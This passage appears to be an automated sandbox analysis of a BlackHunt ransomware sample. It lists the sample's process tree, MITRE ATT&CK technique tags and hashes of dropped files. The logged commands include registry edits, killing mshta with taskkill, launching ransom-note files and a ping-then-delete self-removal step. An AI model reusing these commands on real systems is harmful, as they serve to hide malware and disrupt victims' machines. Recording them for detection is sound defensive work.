C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:18764
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:15256
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:15332
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:16440
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:17084 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:8104
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8104 -s 14244⤵
- Program crash
PID:9144
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:16092
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:16468
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe"2⤵PID:16292
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:15120
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:11176
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2088
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:1864
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:7616
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 8104 -ip 81041⤵PID:6064
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
8KB
MD5c31c0c1ef568bbae9ce8f711a70e4525
SHA1e14a9eee7d628ee5c895b8ee961493ea00a1ca45
SHA256bc87fbcd50a974b1fccab3645806e523b48fb7223513f0909713abb9ba0b4736
SHA5123392b44a149eff5feed5b9e2512a24cf79b19ca51f319360172c53431b65f425ab2b51e9fc1ab0b1dcdc5351021294dd8915a2df3ee3999bffddb759107893ac
-
Filesize
1KB
MD580a0c8c9432172986722a165f141de69
SHA10154c9b91179e465239ffcaa5c946479ed9f7ec6
SHA2567ee3bd2f5087ac733ba7de6964d03d5cdb25a42ef96f08ad4e80ae89d2079a5b
SHA51292cf69c97127c0ffb8cb05921643d99761624ca77193cd6903ffcd047b84ac3dc4c2a034f053eedd19efa17dbee1f4cc42191dcac8366d2ca9f094e869728fb6
-
Filesize
12KB
MD542ebc05a0237bc91db6eb9d1de15edb6
SHA129d4d2dd60b7b7c96583599c518d95b564362ae6
SHA256fbba7e44386b7923340212edf1e017c70e385141647f7fc434f666a1ec1aefd5
SHA51218199571cb632e9329bc857b94bbe5ef26815030b4e0103091c7030e7b346197f8c9cba1be02df470459f6da05b685c6c2e0fe9bb7355221da76353ae0746f10
-
Filesize
684B
MD5f15445cb137bb014267d875d14d0b505
SHA14098746ed2b1b598fad4c217593ef7be4600d0b1
SHA2562c9f03d11121da22227a08b52a0575977a6a3f9d57f4c5d32dbc1b59c37636ab
SHA5125b89c5a4568b4e71030377124a01f86abc4a6afa9c65f579e7cfe1bc3f26961a517f3e1ec8d452948d1215527650ba9cd6a78e7d646b1fd6872d17fcec7fee3e